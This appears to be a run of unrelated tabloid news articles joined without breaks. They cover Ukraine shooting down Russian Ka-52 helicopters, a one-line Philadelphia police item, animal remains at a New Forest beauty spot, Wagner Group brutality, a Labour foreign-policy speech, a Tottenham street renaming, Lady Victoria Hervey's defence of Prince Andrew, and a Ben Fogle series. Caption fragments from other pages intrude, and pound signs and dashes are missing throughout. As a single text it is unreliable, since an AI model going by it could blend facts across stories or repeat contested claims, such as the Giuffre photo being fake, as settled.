Ukraine has destroyed three Russian helicopters in just half an hour, its air force has claimed.

Last night three Ka-52 choppers became the latest casualties of Vladimir Putin's botched invasion, with an estimated 281 of the Kremlin's helicopters downed since the outbreak of war 11 months ago.

The 12million single-seat aircraft is nicknamed the Black Shark and has been described as Russia's 'deadliest helicopter'.

Meanwhile, a Ukrainian spy chief has warned that if Russia's new offensive fails, it could be the 'ruin' of president Putin.

Ukraine has destroyed three Russian helicopters in just half an hour (pictured: a serviceman checks a Ka-52 attack helicopter in Luhansk this month)

Russia warns 'nothing good' will come of German tanks fighting in Ukraine Polish soldiers in German-made Leopard 2 tanks which German chancellor Olaf Scholz has been blocking from being sent to Ukraine Advertisement

The Ka-52's battlefield management system allows it to share data with other aircraft to coordinate attacks.

The air force of the Armed Forces of Ukraine said today: 'For half an hour of anti-aircraft combat from 00:00 to 00:30 on January 24, units of the anti-aircraft missile forces of the Air Force of the Armed Forces of Ukraine destroyed three Russian Ka-52 attack helicopters in the eastern direction.'

Kyiv is anticipating an imminent three-pronged attack from the north in Belarus, from Russian strongholds of Donetsk and Luhansk in the east, and in the south from the Crimean peninsula.

If successful, Moscow's troops would encircle defending forces in the pincer movement which would drive back Ukraine after a series of advances in recent months.

But today Vadym Skibitsky, deputy head of Ukraine's military intelligence, told news site Delfi: 'If the major Russian offensive planned for this time fails, it will be the ruin of Russia and Putin.'

US officials say Ukraine is planning to launching its own offensive after a stagnant winter, but have urged the nation to wait until spring once it has received more weaponry.

Ukrainian soldiers ride atop an infantry fighting vehicle during offensive and assault drills in the southern Zaporizhzhia region

A soldier fires a RPG-7 anti-tank grenade launcher during exercises earlier this week

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Kyiv officials are preparing for the onslaught after winter brought a halt to the rapid change of territory control.

Rustem Umerov, a member of Ukraine's negotiating team, told the Daily Beast: 'Russians are encircling us from 240 degrees, attacking from the Black Sea, from Belarus and the Luhansk and Donetsk regions.'

Fighting has already intensified in the southern city of Zaporizhzhia, which had been stagnant for months, in anticipation of the assault.

Officials are expecting a pincer attack from the city and Kharkiv when Putin gives orders for a simultaneous offensive.

'In the direction of Zaporizhzhia, the intensity of military activity has sharply increased,' Vladimir Rogov said on the Telegram social media platform.

Front lines have been largely frozen in place for two months despite heavy losses on both sides.

Western countries pledged billions of dollars in military aid last week, but have yet to respond to Kyiv's request for hundreds of heavy battle tanks, which it says it needs to break through Russian lines and recover occupied territory.

Ukrainian officials have warned that if Russia's new offensive fails, it could be the 'ruin' of Putin

Wagner mercenary 'had his testicles cut off by commanders after trying to surrender' Pictured: Wagner boss Prigozhin (centre) is seen in one of the salt mines in Soledar, Ukraine, where he declared his fighters had taken the town without any help from Russian forces Advertisement

Many defence experts say the most suitable tanks available in sufficient numbers are German-made Leopards.

Berlin has so far held back from sending them, or from committing to let allies such as Poland send them.

However, Germany was not blocking the re-export of Leopard tanks to Ukraine, the European Union's top diplomat said on Monday.

Meanwhile, Russian forces pounded Donetsk in Ukraine's east.

Ukraine repelled 11 attacks, 10 in the Donetsk region, including in the areas of the town of Bakhmut and the village of Klishchiivka to the south, its military said on Tuesday.

Last week, Russia said it had captured Klishchiivka. The invading forces have been pressing for months for control of Bakhmut but with limited success.

Moscow put the chief of its military general staff, Valery Gerasimov, in direct command of the war this month in at least the third shakeup of leadership since the start of the invasion.

In his first interview since taking command, Gerasimov stuck to Moscow's line that its 'special military operation' is a form of defence against a threat from the West.

'Our country and its armed forces are today acting against the entire collective West,' he told the news website Argumenty i Fakty.
The Philadelphia Police Department released photos and information Friday about the six Philadelphia police officers who were shot in the line of duty on Aug. 14.
Five animal hearts laid out in a pattern and surrounded by a circle of candles have been found at a beauty spot as part of an apparent Satanist ritual.

Photos show the meat laid on a triangulation point following an elaborate ceremony at the top of Stagbury Hill in the New Forest.

A member of the public discovered the hearts and cleared them up before reporting it to the police  who told locals they are patrolling the area in the national park.

The grim scene was found close to a church where a dead cat was last month found by congregation members hanging 'horribly' from a flagpole, forcing the vicar issue a warning about the prospect of witchcraft.

Five animal hearts surrounded by candles have been found at a beauty spot at Stagbury Hill, the New Forest, as part of an apparent occult ritual

The strange occurrence took place close to a church in Hampshire where a vicar recently warned of 'sinister goings on'

Last month the vicar of the church in Bramshaw, Hampshire, warned of 'sinister' goings-on after the bodies of dead animals were discovered deliberately left there.

Reverend David Bacon raised the prospect of 'witchcraft' after the cat was found just before Christmas.

Just a few weeks before this, a dead fox was found on the doorstep of the 12th century church.

After this latest hilltop discovery earlier this month, a Facebook user commented: 'Weird  connected to the cat strung up the flagpole and the dead fox left on the church steps?'

Another said: 'Very odd! Probably linked to the strange things left at the church recently?'

A fellow social media user added: 'Perhaps the idiots thought the Trig Point was a sacred druid shrine or something?' One commenter said: 'Could have poison in it, some strange ritual' and posted an emoji of a witch.

The vicar said: 'It's really unsettling and sinister for everyone. We're not sure what will happen next, if anything'

Reverend David Bacon raised the prospect of 'witchcraft' after a cat was found by congregation members hanging 'horribly' from a flagpole

Rev Bacon said the group of ladies who found the cat when they came to clean St Peter's Church and get it ready for Christmas had been left 'unsettled'.

In 2019, the same New Forest village was terrorised by suspected Satanists who stabbed sheep and sprayed them with pentagrams and graffitied Rev Bacon's medieval church with the same occult markings.

The vicar said he isn't sure who is behind this, saying it could be people 'just angry at the world' or it could be people concerned with witchcraft.

He said last month: 'The cat  rather horribly  was found hanging from the flagpole. The fox was left on the doorstep, but it's very unlikely it died there naturally.

'The cat was found by a group of ladies on Monday. They were coming in to clean the church for Christmas but found it on the flagpole. It was really upsetting for them.

'Every so often we get things like this happening. It makes everybody feel very uncomfortable.

'I can't say definitively if it's linked to the sheep killings from a few years ago. We have no idea what motivated this.

'Are they just angry at life in general, or against the church, or is it linked to witchcraft? I can't say.

Reverend Bacon said he is unsure who is behind the 'sinister' conduct, suggesting it could be people 'just angry at the world' or people concerned with witchcraft. Pictured: The body of a sheep found with pentagrams spray-painted on it in 2019

'But the sheep killings were much more sophisticated. The dead fox felt a lot less organised. It's really unsettling and sinister for everyone. We're not sure what will happen next, if anything.

'I have no idea why it is happening in our area. If it is connected to witchcraft, then the New Forest has been linked to witchcraft for hundreds of years.

'But it could just be random acts of nastiness. It's all pretty horrible for those who find the dead animals.'

A Hampshire Police spokesman said: 'We received a report of meat found on the top of Stagbury Hill with candles placed in a circle around it. This was spotted by members of the public at around 7.45am on 13 January.

'The items were disposed of before the report was made. We have conducted enquiries and will continue to patrol the area.'

Alternative religions including Satanism, Paganism and Shamanism have seen an explosion in follower numbers between the 2011 and 2021 censuses.

In 2019 the suspected 'Satanists' stabbed sheep and sprayed them with pentagrams - graffitiing Reverend Bacon's rural church with the same occult markings

Millions have ditched Christianity  mostly for no religion  but the number of Satanists in England and Wales has more than doubled, from 1,893 in 2011 and rising by 3,161 (167%) to 5,054 in 2021.

The highest number of Satanists are in the South East, rising by 165% to 795 in 2021, according to the latest census.

Andy Diabolus, head of the UK chapter of The Global Order of Satan, said he was 'proud' of the census rise in followers after efforts to encourage Satanists.

Followers say the religion is 'built on the self and in carrying out Satan's work with humanity' by challenging 'authoritarianism and injustice' through 'acts of compassion and the practice of empathy'.

The Global Order of Satan UK say they do not practice animal sacrifice and are in no way associated with the killing or abuse of animals.

Despite common misconceptions, Satanists do not actually worship the devil, as they are atheists and do not believe in the supernatural.

'We revere ourselves as individuals capable of the greatest human expression of compassion and empathy,' The Global Order of Satan's FAQs explains.

Satanism's follower numbers in England and Wales have also been overtaken by Shamanism, which had less than 1,000 followers in 2011 but had a more than 12-fold growth in a decade.

The healing-focused spiritual practice had just 650 followers in 2011  but this shot up to 7,889 in 2021, according to the census.
A Wagner mercenary fighting in Ukraine had his testicles cut off by commanders after trying to surrender, according to a new report.

Citing phone intercepts, a Ukrainian military intelligence document detailed how one fighter attempted to give himself up to Kyiv's forces, but was punished severely.

One soldier is heard telling another: 'The Wagnerians caught him and cut his f**king balls off,' according to the document obtained by CNN.

The Russian private military contractor, owned by oligarch Yevgeny Prigozhin, has developed a reputation over the years for its merciless attitude on the battlefield.

A Wagner mercenary fighting in Ukraine had his testicles cut off by commanders after trying to surrender, according to a new report, that has detailed the unique threat posed by the Private Military Company locked in battle with Kyiv's forces around the city of Bakhmut. Pictured: Wagner boss Prigozhin (centre) is seen in one of the salt mines in Soledar, Ukraine, where he declared his fighters had taken the town without any help from Russian forces

Prigozhin has recruited prisoners to fight along-side his more elite soldiers, using the convicts as canon fodder to advance over the blood-soaked fields of Ukraine.

However, after Wagner and Moscow's push to take the town of Soledar - a small town near the key objective of Bakhmut - a Russian journalist has said just one-fifth of the Russian prisoners recruited by Prigozhin remain after the intense fighting.

Speaking in a YouTube video posted by the My Russian Rights project, Olga Romanova, head of the Rus Seated charity foundation, said Wagner had recruited around 42,000 to 43,000 convicts by the end of 2022.

That number has now likely surpassed 50,000 fighters, but '10,000 are fighting at the front, because all the rest are either killed...or missing, or deserted, or surrendered,' she said, according to a translation of her comments by Meduza.

She claimed that desertion has been a major problem for the Wagner Group since Autumn, with fighters often returning home fully armed with weapons.

Romanova speculated that Prigozhin does not keep tabs of soldiers who go missing, instead just writing them off as dead.

This may explain, she said, why he has been caught sending empty coffins of the 'war dead' back to their families in Russia.

Her comments came as footage emerged apparently showing a truckload of empty coffins prepared for Russia's mobilised soldiers.

Ukrainian journalist Denys Kazanskyi posted the footage from the Russian-occupied Khrustalnyi, in Ukraine's eastern Luhansk region.

It showed dozens of simple wooden coffins piled up in the back of a truck inside a warehouse-like compound, behind unlocked metal gates.

Yesterday, it was reported that a high-ranking Wagner fighter had been arrested in Norway after he fled across the border seeking asylum , fearing for his life. Russian Andrey Medvedev (right) said he was in the same unit as Yevgeny Nuzhin - who changed sides in the Ukraine war - and was executed with a sledgehammer in a harrowing video that circulated online (left)

Russian private military contractor Wagner, owned by oligarch Yevgeny Prigozhin, has developed a reputation over the years for its merciless attitude on the battlefield

Footage has emerged apparently showing a truckload of empty coffins prepared for Russia's mobilised soldiers (pictured). The clip showed dozens of simple wooden coffins piled up in the back of a truck inside a warehouse-like compound, behind unlocked metal gates

Wagner mercenaries that are caught surrendering or deserting the PMC face severe consequences, instilling fear into other PMC fighters.

Yesterday, it was reported that a high-ranking Wagner fighter had been arrested in Norway after he fled across the border seeking asylum, fearing for his life.

Russian Andrey Medvedev has said he was in the same unit as Yevgeny Nuzhin - who changed sides in the Ukraine war - and was executed with a sledgehammer in a harrowing video that circulated online for doing so.

At the time, Prigozhin described Nuzhin as a traitor, with the close ally of Vladimir Putin saying a 'dog receives a dog's death' in response to the clip.

Now, in the Ukrainian military intelligence document, a new account thought to be from November has come to light suggesting that a Wagner deserter had his testicles cut off for trying to surrender to Kyiv's forces.

The same report dated December 2022 detailed the unique threat posed by Wagner.

'The deaths of thousands of Wagner soldiers do not matter to Russian society,' the report states, according to CNN which obtained it.

'Assault groups do not withdraw without a command Unauthorized withdrawal of a team or without being wounded is punishable by execution on the spot.'

The report also says that Wagner mercenaries are not allowed to carry the wounded off the battlefield, meaning injured troops can be left on the floor for hours.

'If the assault fails, retreat is also allowed only at night,' it adds.

Despite the brutality of the tactics, they are the only ones that are effective for the poorly trained mobilised Russian troops that make up the majority of Putin's forces, the report suggests, according to CNN.

It even says that Russia's army may be starting to employ Wagner-like tactics, instead of the typical battalion tactical groups used by the Russian Armed Forces.

Some Russian mobilised troops are even considering joining Wagner, it says.

Wagner deploys its forces in mobile groups of a dozen or fewer, using rocket-propelled grenades (RPGs) and drones to gather intelligence. The report describes this as the 'key element' to their advances.

The mercenaries also use Motorola equipment to communicate. The company told CNN it has suspended all sales to Russia and closed its operations there, suggesting the PMC is sourcing the hardware from elsewhere.

CNN says the report explains how Wagner sends in the convicts in its first wave of an attack, who take the heaviest casualties.

Prigozhin's more elite soldiers, equipped with modern equipment including thermal imaging and other night-vision devices, follow the initial wave.

Ukraine's own use of drones is also vital in its defence against such tactics. The document says in December, a Ukraine-operated drone spotted an advancing Wagner group, allowing Kyiv's forces to eliminate it before it got too close.

Pictured: Putin's chef Yevgeny Prigozhin is filmed recruiting inmates to fight in Ukraine in one of Russian colonies in September 2022. A Russian journalist has said of the 50,000 recruited by Wagner, just 10,000 remain 'because all the rest are either killed...or missing, or deserted, or surrendered,' she said

Pictured: A man wearing a camouflage uniform walks out of PMC Wagner Centre, which is a project implemented by the businessman and founder of the Wagner private military group Yevgeny Prigozhin, during the official opening in Saint Petersburg, November 4, 2022

Details from the document emerged after reports suggested Putin has turned against Prigozhin after he 'failed to take the hint' and kept on bragging that his forces were achieving more success than Russia's army.

In recent weeks, Prigozhin has gloated his private paramilitary fighters were more superior and successful than the country's conventional forces.

Earlier this month, Prigozhin bragged that his fighters had single-handedly taken control of the eastern Ukrainian town of Soledar, which has been razed by fighting.

He declared Wagner was probably 'the most experienced army in the world today.'

Putin is said to have felt threatened by Prigozhin's rise and tactless self-assertion, analysts at the Institute for the Study of War (ISW) said in a report on Monday.

This was evident, they said, when the leader pointedly did not credit Prigozhin or his Wagner forces for the town's capture earlier.

Putin, paranoid about Prigozhin's power, began to reintroduce himself as an involved wartime leader and met commanders after the Wagner boss posted a picture of himself with his mercenaries at the entrance of a salt mine in Soledar.

'Prigozhin did not take the hint, if hint it was, but instead redoubled his efforts to assert himself by advertising the superiority and successes of his own troops,' the experts from ISW said.

The Wagner boss instead tried to boost his standing by claiming he had arrived at the front lines near Bakhmut to speak to Ukrainian President Volodymyr Zelensky regarding the control of territories there.

'His rhetoric and self-presentation had become overbearing and ostentatiously swaggering until things began to go south for him,' the think-tank researchers said.

Prigozhin is known as Putin's chef for providing catering services to the Kremlin, alongside heading up the notorious private army that has carried out the Kremlin's bidding in the middle-east, Africa and now in Russia's invasion of Ukraine

Pictured: Yevgeny Prigozhin is pictured in an FBI wanted poster

Prigozhin's growing influence has even been likened to that of Grigori Rasputin at the court of Tsar Nicholas II. Andrei Kolesnikov, senior fellow at the Carnegie Endowment for International Peace, said 'There is a negative diabolical charisma in [Prigozhin], and in a sense this charisma can compete with Putin's.

'Putin now needs him in this capacity, in this form.'

Prigozhin responded to the comparison to the almost mythological figure who treated the Tsar's son for hemophilia - a condition which means blood does not clot.

Unlike Rasputin, the Wagner warlord said, 'I do not staunch blood flow. I bleed the enemies of our motherland. And not by incantations, but by direct contact'.

Since Putin's war began, Prigozhin and Chechen warlord Ramzan Kadyrov have been jockeying for power, suggesting that they could one day want to supplant Putin.

Prigozhin has been publicly critical of Russia's army and military leadership.

'Prigozhin likely imagined that his efforts in Ukraine would continue to lend him military and political power in Russia,' ISW experts said.

But Putin has now begun marginalising the Wagner group and has returned to relying on his conventional forces by appointing General Valery Gerasimov as Russia's new military commander in Ukraine.

'Prigozhin's recent apparent fall from grace and influence likely reflects the real limitations on his actual power,' the ISW said.

Experts suggested the return to prominence of Russia's conventional military will make it less likely Putin will 'give in to the crazier demands of the far-Right, pro-war faction' in Moscow.

But on Tuesday, Prigozhin dismissed Russia's top generals as a 'bunch of clowns' over an order to soldiers in the war to shave off their beards.

According to a daily update on the war in Ukraine from Britain's Ministry of Defence, Prigozhin said 'war is the time of the active and courageous, and not of the clean-shaven.'

Wagner has become increasingly influential and feared in recent years. In Africa, it has been linked to civilian massacres in Mali, while reports have also placed its fighters in Libya and Burkina Faso.

The group grew in notoriety during Russia's involvement in the Syrian Civil War.
Labour trolled hardline Brexiteers by vowing that Britain would 'take back control' of its foreign policy if it won power - but form a closer bond with Europe.

Shadow foreign secretary David Lammy used the Vote Leave slogan from the 2016 referendum campaign - and paraphrased Jeremy Corbyn - as he pledged to repair the UK's 'tarnished' reputation.

In a speech this afternoon he said Labour would seek a new era of 'co-operation with Brussels over security, crime and trade if it takes power.

But he said there was no question of the UK rejoining the EU, or becoming part of its Single Market or customs union.

At the Chatham House thinktank in London, he accused 'ideological leadership and reckless choices' of leaving the UK 'increasingly disconnected from its closest allies', and said Labour would establish the 'right priorities' to enable the country to 'thrive' on the world stage.

He outlined three policy stands, saying: 'The first is that British foreign policy must seek to take back control. The Brexiters were right about that. But they were fundamentally wrong to think it means going it alone.

Shadow foreign secretary David Lammy used the Vote Leave slogan from the 2016 referendum campaign - and paraphrased Jeremy Corbyn - as he pledged to repair the UK's 'tarnished' reputation.

Ahead of the speech, Mr Lammy said the tenures of Kwasi Kwarteng, Liz Truss and Boris Johnson have 'damaged' Britain's international reputation.

'In the modern world, we maximise our influence by reconnecting Britain with our allies and partners.

The second is that our foreign policy must put pragmatism over ideology. Making decisions based on what will advance the British public's security and prosperity, not the ideological purity of the ERG (European Research Group of Tory backbenchers).

'And the third is that our foreign policy choices must be made for the many, not the few. Putting the consumer, before the fossil fuel company, the small business owner, before the hedge fund manager and the NHS patient before the tax exile.'

He added: 'With Labour, Britain will not rejoin the EU, the Single Market or the customs union.

'But within our red lines, there is real progress we can make to increase trade with our neighbours and deliver prosperity at home. We will aim to fix the Tories bad Brexit deal to increase trade with Europe.'

The proposals include working more closely with the European Union on security, boosting trade in the 'industries of the future' and restoring Britain's 'soft power', which Mr Lammy will say includes protecting the BBC World Service from further cuts.

Ahead of the speech, Mr Lammy said the tenures of Kwasi Kwarteng, Liz Truss and Boris Johnson have 'damaged' Britain's international reputation.

Speaking to LBC Radio on Tuesday, he said: 'Diplomats have said to me that they have been in situations where they are being pitied by international colleagues.

'What I'm setting out today is that we have to reconnect Britain to our allies.'

He said Britain should be having 'structured dialogue' with European colleagues about China, the climate and the challenges posed by artificial intelligence.

In an address at Chatham House, Labour said Mr Lammy outlined how a future Labour administration would produce a 'mission statement' - founded on five goals - for reorienting the Foreign, Commonwealth and Development Office (FCDO).

The policies - part of Labour's Britain Reconnected, For Security And Prosperity At Home contract with voters - are expected to give the department the 'clarity of purpose it currently lacks', the party said.

The FCDO has come under fire for its part in the botched withdrawal from Afghanistan in 2021, while Foreign Secretary-led talks with the EU on changing the Northern Ireland Protocol have dragged on for years.

Mr Lammy is expected to outline what each of the priorities for reform would entail should Labour win the next general election.

The next national poll is expected before 2025, with polling putting Labour about 20 points ahead of Rishi Sunak's Conservatives, making Sir Keir Starmer's outfit favourites to lead the next administration.

The first priority, related to UK security, vows to seek a new UK-EU security pact and create a Joint FCDO-Home Office State Threats Cell to assess dangers, challenge hostile actors and 'improve resilience in both government and private sector'.

The second is about championing UK prosperity, which Labour said will focus on fixing the Northern Ireland Protocol and driving up trade in burgeoning industries while also bolstering exports.

Labour said its third policy is related to turning climate change response into 'an engine of growth', the fourth on 'rebuilding' Britain's reputation on international development and the fifth will push for the UK to 're-establish' itself as a 'trusted, reliable and influential partner' when it comes to diplomacy.

Protecting the role of the BBC World Service and the British Council would form part of the attempts to strengthen diplomacy, along with legislating for a 'new legal right to consular protection to protect Britons abroad', the party said.

A UK government spokesman said: 'The UK is the biggest European contributor to NATO, the third biggest humanitarian aid donor in the G7, the first European country to be a Dialogue Partner of ASEAN and last year we galvanised international support to Ukraine as the first European country to supply lethal weapons to the country ahead of Russia's invasion.

'We are focused on using our influence and strong partnerships to defend the values on which our prosperity depends.

'This means strengthening the relationships which have helped us stand firm against Russia's behaviour over the last year, including in Europe and across the G7, and developing new and exciting partnerships with countries in the Indo-Pacific and beyond.'
Furious Londoners have painted the name of their road sign black after Haringey council renamed Black Boy Lane due to 'racist connotations.'

Posting a photo of the controversial road sign to Twitter, the leader of Haringey council Peray Ahmet denounced it as 'mindless vandalism'.

She said: 'Really sad and disappointed to have been sent this today. This follows a fantastic launch yesterday where we celebrated the life and legacy of John La Rose. What could this ever achieve beyond mindless vandalism.'

It's claimed the authority spent a whopping 180,000 changing the name of Tottenham's Black Boy Lane to La Rose Lane, following outrage from Black Lives Matter campaigners.

The road sign has been vandalised less than a day after the area was controversially renamed

Residents have erected their own Black Boy Lane signs in shops and front windows

Residents on Black Boy Lane have put signs of the road name, seemingly in protest to the name change today. https://t.co/heemeuDPKm pic.twitter.com/tfe8bKvZ0Y  Olivia Opara (@OliviaOWrites) January 23, 2023

Who was John La Rose? John La Rose (19272006) was an poet, publisher and activist. Hwas born in Arima, Trinidad, on 27 December 1927 and arrived in Britain in 1961. In 1966, he founded New Beacon Books, the first Caribbean publishing house, bookshop and international book service. Along with the Jamaican writer and broadcaster Andrew Salkey and the Barbadian poet and historian Kamau Brathwaite, La Rose co-founded the Caribbean Artists Movement in the same year, providing a platform for Caribbean artists, poets, writers, dramatists, actors and musicians. He was also involved in the Black Education Movement from the 1960s. In 1969, he founded the George Padmore Supplementary School for West Indian children. After a black schoolboy was assaulted by the police in Haringey in 1975, John La Rose and concerned parents founded the Black Parents Movement to combat the brutalisation and criminalisation of young blacks, and to agitate for youth and parent power and decent education. In allience with others, it became the most powerful cultural and political movement organised by black people in Britian. In response to the rise in fascism and xenophobia, La Rose helped to found European Action for Racial Equality and Social Justice, bringing together anti-racists and anti-fascists from Belgium, Italy, France and Germany. One of his greatest achievements was the International Book Fair of Radical Black and Third World Books (1982-95), which he solely directed from 1984. He was also the editor at New Beacon Books and of their journal, New Beacon Review, and published two volumes of his own poetry, Foundations (1966) and Eyelets of Truth Within Me (1992). Source: New Beacon Books Advertisement

But heritage campaigners and peeved residents - some of whom who've erected their own Black Boy lane signs- are unhappy with the move.

After the new road signs were erected yesterday, pictures emerged on social media showing numerous houses with the old road sign displayed in their windows.

Art lecturer Rishi Jogoo, 68, lives along the street and was upset by the change.

He has joined his neighbours and put up a Black Boy Lane road sign in his window.

He said: 'There is nothing racist about the name, I don't understand why people say that.

'The council never came round to talk to us about it. We did receive a letter but when we argued about it they didn't listen to us.

'The problem is when you change the road name we all have to change our documents like our passports which is very inconvenient.

'The council have said they will offer us 300 because of the change but I don't think that will be enough to sort everything.

'We will keep out signs up but I'm not optimistic that they will listen but we can always hope.'

Mr Jogoo's neighbour Ian also put a sign up.

He explained: 'We are hanging the old sign up because we don't want it to change. It is a complete waste of time and money.

'I will keep my address as it is until there is an official issue. I want to use it as long as I can.'

Ian worries how the new name will affect his neighbours.

'It's not like changing the name of a building, there are so many complications for people going through immigration processes or who are in the middle of sorting out legal issues.

'The council pushed the decision through despite the residents not wanting it.

'When they first took the survey about changing the name 75 per cent of the people on the road voted against it.

'It was only when they extended the vote to the borough as a whole they got a majority in favour.'

The change is also affecting local businesses. Home Furniture Limited sits at the top of the newly named La Rose Lane.

An employee at the shop, Tahir Raza, 37, is worried about the business. He said: 'The old name is better for business purposes. We now have to change the address which can be complicated.

'Also, the name was more memorable so people would remember where the shop was.

'So this, along with the new LTNs in the area is going to really hurt us.

He added: 'It is so sad how much they spent on it as there are so many things to do in the area. Why don't the council reduce the rent and help us instead of putting all the money into something like this?'

The new name pays tribute to the black publisher John La Rose, a Haringey local who was a political activist and launched New Beacon Books in 1966.

Prior to the change at least 70 residents were previously reported to have derided the plan as 'tokenistic' and an ill thought out 'vanity project' which could lose the history of the area.

It is thought that Black Boy Lane was named after a pub in the late 17th century

Rishi Jogoo, 68, believes there was nothing racist in the old Black Boy Lane name and resents the change

After plans were announced resident Anne Taylor, told MailOnline: 'The La Rose family issued a statement forbidding the use of La Rose name to rename Black Boy Lane.

'They said it was a tokenistic gesture at too great a cost for Black Boy Lane residents and that John la Rose would have hated the notion.'

Heritage campaigners, Save Our Statues have also condemned the move alleging that the name change has cost Haringey Council 180,000 of public money.

Founder Robert Poll told the BBC that the change was a 'futile gesture'.

Haringey Council said that it planned to change the name following calls from residents

He said: 'This move is representative of the current impulse to hunt out racism and offence where there is none as a performative display of virtuousness.'

It is thought that Black Boy Lane was named after a pub in the late 17th century.

The decision to change the street name to 'La Rose Lane' was made by the council in February last year.

'Haringey Council is committed to taking action to both address inequality and celebrate the rich diversity of our borough. We recognise that there are different views on how best to do this,' it was stated online.

The council also added that it made the decision 'following calls from Haringey residents, in recognition of the negative impact the racist connotations attached to the name have had on residents.'

Cllr Peray Ahmet, Leader of Haringey Council, said: 'I'm delighted that we're able to pay tribute to John La Rose with a new street name. John made such a huge contribution to Black life both here in Haringey and across the UK and played an important role in gaining recognition for Black authors and artists, as well as championing inclusive education.

'I understand that this is a decision which has generated passionate responses. Several rounds of consultation were held, and I know that the Corporate Committee took the full range of views into consideration when deciding to change the name of the road. It is time now to move forward with this.

'I also want to be clear that this is just one small part of the work that we must do to ensure Haringey is a place where everyone feels welcome and included. I look forward to working with residents and communities on this important mission in the months and years to come.'

MailOnline has approached Haringey Council for further comment on resident's reaction to the renaming and the alleged cost involved.
Fallout from the BBC interview led to Andrew stepping down from public duties

Prince Andrew's ex-girlfriend Lady Victoria Hervey has claimed he was 'not allowed' to fight the Virginia Giuffre case and the disastrous performance during his Newsnight interview was due to receiving 'no media training'.

The duke's former partner, 46, also backed Ghislaine Maxwell's remarks that the notorious photo of him with his arm around then 17-year-old Ms Giuffre is 'fake'.

The fallout from the BBC interview with Emily Maitlis ultimately led to Andrew, 62, stepping down from public duties in November 2019 before being stripped of his military titles and royal patronages.

But appearing on ITV's Lorraine today, Lady Victoria defended her former partner and claimed he was left with 'no choice in the matter' but to settle the case.

Prince Andrew seen driving in the grounds of Windsor Castle yesterday prior to Ghislaine Maxwell's interview

TIMELINE OF THE NOTORIOUS VIRGINIA GIUFFRE AND PRINCE ANDREW PHOTOGRAPH March 2001 - The photo of Virginia, Ghislaine and Prince Andrew is reportedly taken at Ghislaine's home in London. May 2001 - Naomi Campbell hosted a boat party in the French Riviera with Jeffrey Epstein, Virginia, Ghislaine Maxwell all attending. February 2011 - Virginia is approached by the Mail On Sunday and produces the picture. She claimed the photograph was taken in March 2001, two months before the boat party in St Tropez. She said she had sex with Andrew three times while a teenager, which the Duke denies. The photographs are published by the Mail On Sunday. November 2019 - Prince Andrew tells BBC Newsnight: 'You can't prove whether or not that photograph is faked because it's a photograph of a photograph of a photograph.' December 2019 - Virginia told BBC Panorama that the photo is genuine and she gave the original to the FBI in 2011. December 2019 - Giuffre's then-boyfriend Tony Figueroa tells BBC Panorama he saw the picture in the year it was taken - 2001 - and that Ms Giuffre told him she had been forced to have sex with the prince. February 2022 - Lady Victoria Hervey says victims of Epstein have told her the image was photoshopped by Virginia and Maria Farmer. February 2022 - Experts claim the image is real and unlikely to be fake. January 2023 - Maxwell claims the image is fake and that she has not seen an original, only photocopies. Advertisement

She said: 'From what I know, he didn't have a choice. He basically didn't get his day in court and was not allowed to fight.

'I think it was Buckingham Palace that put the pressure on him and he basically was not allowed to fight it.

'I think as far as the titles were supposed to be given back to him, they were never officially going to be taken away.

'They were only going to be briefly taken away while it was going to be fought and he was going to be a private citizen in court.'

And pressed on the notorious photograph, Lady Victoria added: 'I don't think he was allowed to say it was a fake because otherwise he could have had Virginia possibly come after him, without having enough proof that it is a fake.

'I've been in contact with the person who I believe is the real person who took the photo and he's told me exactly how it was done and that he was involved in actually doing the photoshop.

'He was made to settle, he had no choice in the matter. The picture is the only thing that Virginia has been using to try against him trying prove that they were together but it's not him.

'If you look at that picture, I've actually been in this house and I've stood behind where they're standing with the same furniture behind - the scale is completely different.'

Maxwell last night sparked a backlash after claiming the photographed was not genuine during a bombshell interview with TalkTV last night - as victims condemned her controversial remarks.

But Lady Victoria supported Maxwell's claims, saying: 'Personally I think Ghislaine hasn't said something before because she was dealing with her own legal matters and she wasn't in a position to be able to say that, but if you actually read one of her depositions she actually said in the original that she does not believe this picture is real.

'At the end of the day he says he's never met her and he's always stood by that. If you look at everything, even when they did settle... he didn't apologise because why would he apologise?'

During the Newsnight interview, Andrew denied he had sex with Ms Giuffre, who said she was trafficked by convicted paedophile Jeffrey Epstein on three separate occasions, including when she was 17 - still a minor under US law.

He also dismissed one of the American's claims - that he was sweating heavily as they danced at London nightclub Tramp - as factually wrong because he had a medical condition at the time which meant he did not sweat.

The interview was widely considered one of the most disastrous in royal history, but Lady Victoria said she has watched replays of the interview and Andrew's performance 'actually isn't that bad'.

Lady Victoria Hervey has claimed he was 'not allowed' to fight the Virginia Giuffre case on ITV's Lorraine today

The notorious photo of Prince Andrew with Virginia Giuffre and Ghislaine Maxwell which is claimed to be fake

Prince Andrew's Newsnight interview with Emily Maitlis was considered one of the most disastrous in royal history

She told Lorraine: 'He's not media trained and this is the problem. He hasn't been media trained and so that was a huge mistake.

'He's just very factual how he remembers things and the way he says things, it is more done in a factual way kind of military-style way.

'I agree with the way it came out, the delivery was not what people wanted to hear, but when you replay that whole interview, which I have a couple times, the bit where it is obviously bad is where he doesn't say he regrets knowing Jeffrey Epstein.

'That was where he messed up, but I think the rest of it actually isn't that bad.'

The duke went on to pay millions to settle a civil sexual assault case with Ms Giuffre - a woman he claimed to have never met.

He previously said he has 'no recollection' of meeting her and cast doubt on the picture, claiming he is 'not one to hug' or 'display affection' in public.

In the interview with Newsnight, Andrew said while he recognises himself in the picture with Ms Giuffre, he claimed it is not possible to prove if the image has been faked.

Meanwhile, Maxwell was sentenced to 20 years in a US prison last year after being found guilty of luring young girls to massage rooms so Epstein could molest them between 1994 and 2004.

Epstein was found dead in his cell at a federal jail in Manhattan in August 2019 while awaiting trial on sex trafficking charges. His death was ruled a suicide.
Ben Fogle has relived the Antarctic journeys of Captain Robert Falcon Scott, Sir Ernest Shackleton and Roald Amundsen as part of a new series.

The TV explorer, 49, only had the types of Edwardian equipment, food supplies and shelter which the three adventurers used.

His journey to the South Pole, which began at the end of December, will be revealed in Endurance: Race To The Pole on Channel 5.

On December 14 1911, Norwegian Amundsen became the first man to reach the South Pole - 35 days ahead of Scott. The bodies of Scott and his party were found 13 months after they disappeared on their mission.

Shackleton made several trips to Antarctica, first reaching within 400 miles of the South Pole in 1902, and he came even closer seven years later - just 97 miles from his goal - but had to turn back due to lack of food.

